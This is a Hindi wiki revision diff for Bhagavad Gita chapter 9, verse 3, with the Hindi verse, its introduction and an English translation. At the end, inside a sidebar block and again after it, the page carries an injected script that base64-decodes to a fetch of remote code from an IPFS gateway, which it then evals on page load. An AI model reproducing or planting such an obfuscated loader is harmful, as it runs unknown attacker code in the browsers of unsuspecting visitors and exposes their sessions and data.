"गीता 9:3" के अवतरणों में अंतर
छो |
|||
पंक्ति ९: | पंक्ति ९: | ||
'''प्रसंग-''' | '''प्रसंग-''' | ||
---- | ---- | ||
− | जब विज्ञान सहित | + | जब विज्ञान सहित ज्ञान की महिमा है और इसका साधन भी इतना सुगम है तो फिर सभी मनुष्य इसे धारण क्यों नही करते हैं ? <br /> |
इस जिज्ञासा पर अश्रद्धा को ही इसमें प्रधान कारण दिखलाने के लिये भगवान् अब इस पर श्रद्धा न करने वाले मनुष्यों की निन्दा करते हैं- | इस जिज्ञासा पर अश्रद्धा को ही इसमें प्रधान कारण दिखलाने के लिये भगवान् अब इस पर श्रद्धा न करने वाले मनुष्यों की निन्दा करते हैं- | ||
---- | ---- | ||
पंक्ति २३: | पंक्ति २३: | ||
|- | |- | ||
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
− | हे परन्तप ! इस उपर्युक्त धर्म में श्रद्धा रहित पुरूष मुझको न प्राप्त होकर मृत्यु रूप संसार चक्र में भ्रमण करते रहते हैं ।।3।। | + | हे [[अर्जुन|परन्तप]] ! इस उपर्युक्त धर्म में श्रद्धा रहित पुरूष मुझको न प्राप्त होकर मृत्यु रूप संसार चक्र में भ्रमण करते रहते हैं ।।3।। |
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
− | + | Arjuna, people having no faith in this Dharma, failing to reach me, revolve in the path of the world of death. (3) | |
|- | |- | ||
|} | |} | ||
पंक्ति ५७: | पंक्ति ५७: | ||
</table> | </table> | ||
[[category:गीता]] | [[category:गीता]] | ||
+ | __INDEX__ |
०६:२०, १९ नवम्बर २००९ का अवतरण
गीता अध्याय-9 श्लोक-3 / Gita Chapter-9 Verse-3
|
||||
|
||||
|
||||
<sidebar>
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |